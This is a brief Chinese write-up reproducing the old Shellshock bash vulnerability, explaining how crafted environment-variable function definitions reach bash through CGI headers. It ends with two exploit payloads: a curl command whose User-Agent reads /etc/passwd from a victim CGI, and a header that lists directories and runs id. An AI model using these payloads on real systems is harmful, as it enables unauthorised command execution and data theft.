漏洞复现-shellshock-bash破壳-飞外

shellshock即unix 系统下的bash shell的一个漏洞，Bash4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞，向环境变量值内的函数定义后添加多余的字符串会触发此漏洞，攻击者可利用此漏洞改变或绕过环境限制，以执行任意的shell命令,甚至完全控制目标系统。bash使用的环境变量是通过函数名称来调用的，以“(){”开头通过环境变量来定义，而在处理这样的恶意的函数环境变量时，并没有以函数结尾 “}” 为结束，而是执行其后的恶意shell命令。执行CGI 时会调用Bash将Referer、host、UserAgent、header等作为环境变量进行处理

（2）这个漏洞的复现特别简单，是乌云shellshock漏洞，bash破壳的老洞：

exp：

curl -A "() { :; }; echo; /bin/cat /etc/passwd" http://xx.xx.xx.xx:8080/victim.cgi

exp：

User-Agent: () { :;};echo;echo $$(/bin/ls -al /);/usr/bin/id;

热门阅读